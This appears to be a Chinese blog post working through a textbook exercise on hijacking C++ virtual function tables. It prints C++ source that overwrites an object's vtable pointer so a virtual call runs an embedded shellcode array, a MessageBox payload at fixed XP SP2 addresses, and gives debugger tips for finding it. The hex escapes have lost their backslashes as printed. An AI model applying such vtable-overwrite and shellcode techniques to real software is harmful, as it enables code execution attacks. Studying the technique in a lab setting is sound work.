• 旧书重温:0day2【9】第六章 攻击c++的虚函数


    不知不觉,我们学到了0day2的第六章形形色色的内存攻击技术!其中,这张很多东西都是理论的东西,不过!我们还是要想办法还原下发生的现场!

    其中部分文章截图 http://user.qzone.qq.com/252738331/photo/V10U5YUk464GF5/  密码: NQK3S

    好久没有写文章了,最近刚买了新鼠标+新耳机,CF幽灵撸起来很牛B呀! 所以一直没时间研究溢出了,今天玩逆了CF,还是看看书吧!哈哈!就有了本文

    这篇文章如T:操作过程简单些,所以:先把这个搞定下,鼓舞下士气,哈哈!(xp sp2 +vc6.0 系统下载参考第一篇)

     1 // Attack_cpp_virtual_fun.cpp : Defines the entry point for the console application.
     2 //
     3 
     4 #include "stdafx.h"
     5 #include <stdio.h>
     6 #include <string.h>
     7 char shellcode[] = {
     8                 
     9                 "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0Cx8BxF4x8Dx7Ex0Cx33"
    10                 "xDBxB7x04x2BxE3x66xBBx33x32x53x68x75x73x65x72x54x33xD2x64x8Bx5Ax30"
    11                 "x8Bx4Bx0Cx8Bx49x1Cx57x56x8Bx69x08x8Bx79x20x8Bx09x66x39x57x18x75xF2"
    12                 "x5Ex5FxADx3Dx6Ax0Ax38x1Ex75x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05"
    13                 "x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3AxC4"
    14                 "x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75xE4x8Bx59x24x03xDDx66"
    15                 "x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75"
    16                 "xA9x33xDBx53x68x61x61x61x61x68x62x62x62x62x8BxC4x53x50x50x53xFFx57"
    17                 "xFCx53xFFx57xF8x74x7dx42"}; // 427d74 指向 overflow的buf 头,也就是复制过去的shllcode头位置
    18 class zhenw0
    19 {
    20 public:
    21     char buf[200];
    22     virtual void test(void)
    23     {
    24         printf("class zhenw0:test() 
    ");
    25 
    26     }
    27 };
    28 
    29 zhenw0 overflow,*p;
    30 
    31 int main(int argc, char* argv[])
    32 {
    33     char * p_vtable;
    34     
    35     p_vtable  = overflow.buf - 4;
    36     p_vtable[0] = 0x29;    // 427e29 指向 overflow.buf承载的shellcode末尾
    37     p_vtable[1] = 0x7e;
    38     p_vtable[2] = 0x42;
    39     p_vtable[3] = 0x00;
    40     strcpy(overflow.buf,shellcode);
    41     //__asm int 3
    42     p = &overflow;
    43     p->test();
    44 
    45 
    46     return 0;
    47 }

    就如文章描述一样 我们修改虚函数指针的指向,这里把 虚函数的指针指向了over.buf中的shellocde的末尾!

    而shllcode末尾指向了overflow.buf也就是我们的shllcode,当触发test()的时候,就通过与函数表找到了假的函数地址,就执行了shellcode 就MSGbox 了下

     

    其中:定位我们的shellcode 位置很重要, 我教大家个办法

    1.在shellcode 中 添加4个 x90 

    2.加入int3 od断下,在od的数据区搜索二进制字符串 

    其中没有执行strcpy函数以前,找到的是 全局的shllcode,执行了strcpy()就有两次,如何区分就简单了。。。

    ----------------------------------------------------

    | QQ252738331

    | Q群: 104132152(群名称是缓冲区溢出|汇编|逆向)

    | 微博: http://t.qq.com/zhenw0

    ----------------------------------------------------

  • 相关阅读:
    毫秒时间格式转换
    Gulp前端服务器本地搭建
    前端构建工具Gulp的学习和使用
    Grunt入门学习之(3) -- Gruntfile具体示例
    Grunt入门学习之(2) -- Gruntfile的编写
    Grunt入门学习之(1) -- 环境安装
    toLocaleTimeString()方法在IE和谷歌浏览器上 根据本地时间格式,把 Date 对象的时间部分(不含日期)转换为“时间字符串”存在区别
    zTree 学习笔记之(一)
    C语言 在VS环境下一个很有意思的报错:stack around the variable was corrupted
    C#.Net 调用方法,给参数赋值的一种技巧
  • 原文地址:https://www.cnblogs.com/witty/p/0day2_9.html
Copyright © 2020-2023  润新知